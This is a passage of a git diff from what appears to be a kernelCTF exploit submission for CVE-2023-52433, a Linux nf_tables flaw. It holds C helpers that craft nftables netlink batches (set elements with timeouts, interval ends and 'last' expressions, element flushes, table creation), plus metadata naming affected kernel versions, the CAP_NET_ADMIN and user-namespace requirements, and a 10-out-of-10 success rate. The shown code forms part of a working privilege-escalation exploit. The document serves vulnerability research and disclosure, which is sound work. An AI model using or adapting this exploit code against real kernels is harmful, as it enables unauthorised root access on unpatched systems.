nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + +struct nlmsghdr * new_setelem_with_expiration_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall, uint64_t expiration_time){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + nla_put_u64(elem_nest, NFTA_SET_ELEM_EXPIRATION, expiration_time); + nla_put_u64(elem_nest, NFTA_SET_ELEM_TIMEOUT, expiration_time); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + return hdr2; +} + +struct nlmsghdr *new_setelem_with_INTERVAL_END_msg(char *table_name, char *set_name, char * input_key, int key_len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_INTERVAL_END)); + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} + +void new_setelem_with_expr(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_expr = nlmsg_alloc(); + struct nl_msg *elem_expr_data = nlmsg_alloc(); + struct nl_msg *elem_expr_data_cmp_data = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_expr, NFTA_EXPR_NAME, "last"); + nla_put_nested(elem_nest, NFTA_SET_ELEM_EXPR, elem_expr); + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + + +void elem_flush(struct nl_sock * socket, char *table_name, char *set_name){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/table.h b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/table.h new file mode 100755 index 000000000..ba645ab60 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/table.h @@ -0,0 +1,53 @@ +void new_table(struct nl_sock * socket, char *name){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/metadata.json new file mode 100755 index 000000000..faa10f8e6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/metadata.json @@ -0,0 +1,36 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids":[ + "exp135" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2ee52ae94baabf7ee09cf2a8d854b990dac5d0e4", + "cve":"CVE-2023-52433", + "affected_versions":[ + "6.1.9 - 6.1.56", + "5.15.91 - 5.15.134" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits":[ + { + "environment":"mitigation-6.1.55", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"10 times success per 10 times run" + } + ] + } diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/original.tar.gz new file mode 100755 index 000000000..9e888de7c Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/original.tar.gz differ